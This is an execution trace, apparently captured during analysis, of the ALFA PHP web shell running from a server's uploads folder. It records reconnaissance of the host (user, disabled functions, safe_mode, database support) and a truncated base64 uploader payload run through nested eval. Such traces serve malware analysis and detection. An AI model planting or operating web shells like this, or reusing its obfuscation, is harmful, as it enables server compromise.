3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 882 GLOBALS['home_cwd'] = '/var/www/html/uploads'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 883 GLOBALS['need_to_update_header'] = 'false'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 884 GLOBALS['glob_chdir_false'] = FALSE
4 53 0 0.065128 3416544 alfaGetCwd 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 890 0
5 54 0 0.065146 3416544 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 737 1 'getcwd'
5 54 1 0.065165 3416584
5 54 R TRUE
5 55 0 0.065183 3416544 getcwd 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 738 0
5 55 1 0.065203 3416592
5 55 R '/var/www/html/uploads'
4 53 1 0.065223 3416592
4 53 R '/var/www/html/uploads'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 890 GLOBALS['cwd'] = '/var/www/html/uploads'
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 898 ['cwd'] .= '/'
4 56 0 0.065286 3416592 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 899 1 'sys_get_temp_dir'
4 56 1 0.065309 3416632
4 56 R TRUE
4 57 0 0.065326 3416592 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 900 1 'mb_strlen'
4 57 1 0.065345 3416632
4 57 R FALSE
4 58 0 0.065364 3416592 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 905 1 'mb_substr'
4 58 1 0.065390 3416632
4 58 R FALSE
4 59 0 0.065409 3416592 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 910 1 'sys_get_temp_dir'
4 59 1 0.065428 3416632
4 59 R TRUE
4 60 0 0.065454 3416592 sys_get_temp_dir 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 910 0
4 60 1 0.065475 3416632
4 60 R '/tmp'
4 61 0 0.065492 3416632 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 910 3 '\\' '/' '/tmp'
4 61 1 0.065512 3416728
4 61 R '/tmp'
4 62 0 0.065529 3416632 is_writable 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 910 1 '/tmp'
4 62 1 0.065562 3416672
4 62 R TRUE
4 63 0 0.065589 3416600 sys_get_temp_dir 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 910 0
4 63 1 0.065614 3416632
4 63 R '/tmp'
4 64 0 0.065633 3416632 define 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 910 2 'ALFA_TEMPDIR' '/tmp'
4 64 1 0.065666 3416736
4 64 R TRUE
4 65 0 0.065714 3416664 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2399 1 'posix_getpwuid'
4 65 1 0.065734 3416704
4 65 R TRUE
4 66 0 0.065752 3416664 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2401 1 'posix_getgrgid'
4 66 1 0.065770 3416704
4 66 R TRUE
4 67 0 0.065787 3416664 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2459 1 'scandir'
4 67 1 0.065812 3416704
4 67 R TRUE
4 68 0 0.065906 3416664 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 6162 1 'json_encode'
4 68 1 0.065985 3416704
4 68 R TRUE
4 69 0 0.066057 3416664 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 6204 1 'json_decode'
4 69 1 0.066130 3416704
4 69 R TRUE
4 70 0 0.066211 3416704 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 6520 1 'alfaFilesMan2'
4 70 1 0.066291 3416744
4 70 R TRUE
3 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 6521 _POST['a'] = 'FilesMan2'
4 71 0 0.066448 3417080 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 6524 1 'alfaFilesMan2'
4 71 1 0.066524 3417120
4 71 R TRUE
4 72 0 0.066608 3417040 alfaFilesMan2 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 6525 0
5 73 0 0.066636 3417040 alfahead 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2560 0
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 912 GLOBALS['__ALFA_SHELL_CODE'] = 'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250Pjwv'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 913 $alfa_uploader = '$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
6 74 0 0.066737 3418832 __ZW5jb2Rlcg 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 914 1 '$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
7 75 0 0.066779 3418832 vcnvSCZgBz 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 119 1 '$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 68 $b = 'base64_encode'
8 76 0 0.066834 3418832 base64_encode 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 69 1 '$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
8 76 1 0.066874 3421424
8 76 R 'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
7 75 1 0.066922 3421392
7 75 R 'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
6 74 1 0.066972 3421392
6 74 R 'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
6 77 0 0.067013 3421392 define 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 914 2 'ALFA_UPLOADER' 'eval(base64_decode(\'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDh'
6 77 1 0.067060 3421496
6 77 R TRUE
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 966 _POST['charset'] = 'Windows-1251'
6 78 0 0.067100 3421424 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 967 1 'diskfreespace'
6 78 1 0.067120 3421464
6 78 R TRUE
6 79 0 0.067138 3421424 diskfreespace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 967 1 '/var/www/html/uploads/'
6 79 1 0.067164 3421456
6 79 R 197919940608
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 967 $freeSpace = 197919940608
6 80 0 0.067200 3421424 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 968 1 'disk_total_space'
6 80 1 0.067220 3421464
6 80 R TRUE
6 81 0 0.067237 3421424 disk_total_space 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 968 1 '/var/www/html/uploads/'
6 81 1 0.067260 3421456
6 81 R 232015802368
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 968 $totalSpace = 232015802368
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 969 $totalSpace = 232015802368
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 970 $on = '<span class=\'header_on\'> ON </span>'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 971 $of = '<span class=\'header_off\'> OFF </span>'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 972 $none = '<span class=\'header_none\'> NONE </span>'
6 82 0 0.067363 3421424 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 973 1 'ssh2_connect'
6 82 1 0.067383 3421464
6 82 R FALSE
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 976 $ssh2 = '<span class=\'header_off\'> OFF </span>'
6 83 0 0.067418 3421424 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 977 1 'curl_version'
6 83 1 0.067437 3421464
6 83 R TRUE
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 978 $curl = '<span class=\'header_on\'> ON </span>'
6 84 0 0.067472 3421424 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 981 1 'mysql_get_client_info'
6 84 1 0.067491 3421464
6 84 R FALSE
6 85 0 0.067509 3421424 class_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 981 1 'mysqli'
6 85 1 0.067529 3421464
6 85 R FALSE
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 984 $mysql = '<span class=\'header_off\'> OFF </span>'
6 86 0 0.067563 3421424 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 985 1 'mssql_connect'
6 86 1 0.067588 3421464
6 86 R FALSE
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 988 $mssql = '<span class=\'header_off\'> OFF </span>'
6 87 0 0.067623 3421424 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 989 1 'pg_connect'
6 87 1 0.067642 3421464
6 87 R FALSE
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 992 $pg = '<span class=\'header_off\'> OFF </span>'
6 88 0 0.067676 3421424 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 993 1 'oci_connect'
6 88 1 0.067695 3421464
6 88 R FALSE
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 996 $or = '<span class=\'header_off\'> OFF </span>'
6 89 0 0.067729 3421424 ini_get 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 997 1 'disable_functions'
6 89 1 0.067750 3421904
6 89 R 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
6 90 0 0.067783 3421424 ini_get 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 998 1 'disable_functions'
6 90 1 0.067803 3421904
6 90 R 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 998 $disfun = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
6 91 0 0.067900 3421872 ini_get 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1001 1 'safe_mode'
6 91 1 0.067921 3421904
6 91 R FALSE
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1004 $safe_modes = '<span class=\'header_on\'>OFF</span>'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1005 $cgi_shell = '<span class=\'header_off\' id=\'header_cgishell\'>OFF</span>'
6 92 0 0.067979 3421872 ini_get 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1006 1 'open_basedir'
6 92 1 0.067998 3421904
6 92 R ''
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1013 $open_b = '<span class=\'header_none\'> NONE </span>'
6 93 0 0.068042 3421872 ini_get 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1014 1 'safe_mode_exec_dir'
6 93 1 0.068061 3421904
6 93 R FALSE
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1017 $safe_exe = '<span class=\'header_none\'> NONE </span>'
6 94 0 0.068099 3421872 ini_get 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1018 1 'safe_mode_include_dir'
6 94 1 0.068118 3421904
6 94 R FALSE
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1021 $safe_include = '<span class=\'header_none\'> NONE </span>'
6 95 0 0.068154 3421872 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1022 1 'posix_getegid'
6 95 1 0.068173 3421912
6 95 R TRUE
6 96 0 0.068191 3421872 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1029 1 'posix_getpwuid'
6 96 1 0.068209 3421912
6 96 R TRUE
6 97 0 0.068227 3421872 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1029 1 'posix_geteuid'
6 97 1 0.068245 3421912
6 97 R TRUE
6 98 0 0.068262 3421872 posix_geteuid 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1029 0
6 98 1 0.068282 3421872
6 98 R 33
6 99 0 0.068299 3421872 posix_getpwuid 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1029 1 33
6 99 1 0.068363 3422704
6 99 R ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1029 $uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
6 100 0 0.068581 3422672 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1030 1 'posix_getgrgid'
6 100 1 0.068637 3422712
6 100 R TRUE
6 101 0 0.068665 3422672 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1030 1 'posix_getegid'
6 101 1 0.068686 3422712
6 101 R TRUE
6 102 0 0.068752 3422672 posix_getegid 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1030 0
6 102 1 0.068921 3422672
6 102 R 33
6 103 0 0.069124 3422672 posix_getgrgid 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1030 1 33
6 103 1 0.069260 3423336
6 103 R ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1030 $gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1031 $user = 'www-data'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1032 $uid = 33
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1033 $group = 'www-data'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1034 $gid = 33
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1036 $cwd_links = ''
6 104 0 0.069496 3421952 explode 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1037 2 '/' '/var/www/html/uploads/'
6 104 1 0.069513 3422560
6 104 R [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1037 $path = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1038 $n = 6
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1039 $i = 0
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1040 $cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1041 $cach_cwd_path = ''
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1042 $j = 0
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1043 $cwd_links .= '/'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1044 $cach_cwd_path .= '/'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1042 $j++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1046 $cwd_links .= '")\' path=\'/\' href=\'#action=fileman&path=/\'>/</a>'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1039 $i++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1040 $cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1041 $cach_cwd_path = ''
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1042 $j = 0
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1043 $cwd_links .= '/'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1044 $cach_cwd_path .= '/'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1042 $j++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1043 $cwd_links .= 'var/'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1044 $cach_cwd_path .= 'var/'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1042 $j++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1046 $cwd_links .= '")\' path=\'/var/\' href=\'#action=fileman&path=/var/\'>var/</a>'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1039 $i++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1040 $cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1041 $cach_cwd_path = ''
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1042 $j = 0
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1043 $cwd_links .= '/'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1044 $cach_cwd_path .= '/'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1042 $j++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1043 $cwd_links .= 'var/'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1044 $cach_cwd_path .= 'var/'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1042 $j++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1043 $cwd_links .= 'www/'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1044 $cach_cwd_path .= 'www/'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1042 $j++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1046 $cwd_links .= '")\' path=\'/var/www/\' href=\'#action=fileman&path=/var/www/\'>www/</a>'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1039 $i++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1040 $cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1041 $cach_cwd_path = ''
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1042 $j = 0
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1043 $cwd_links .= '/'
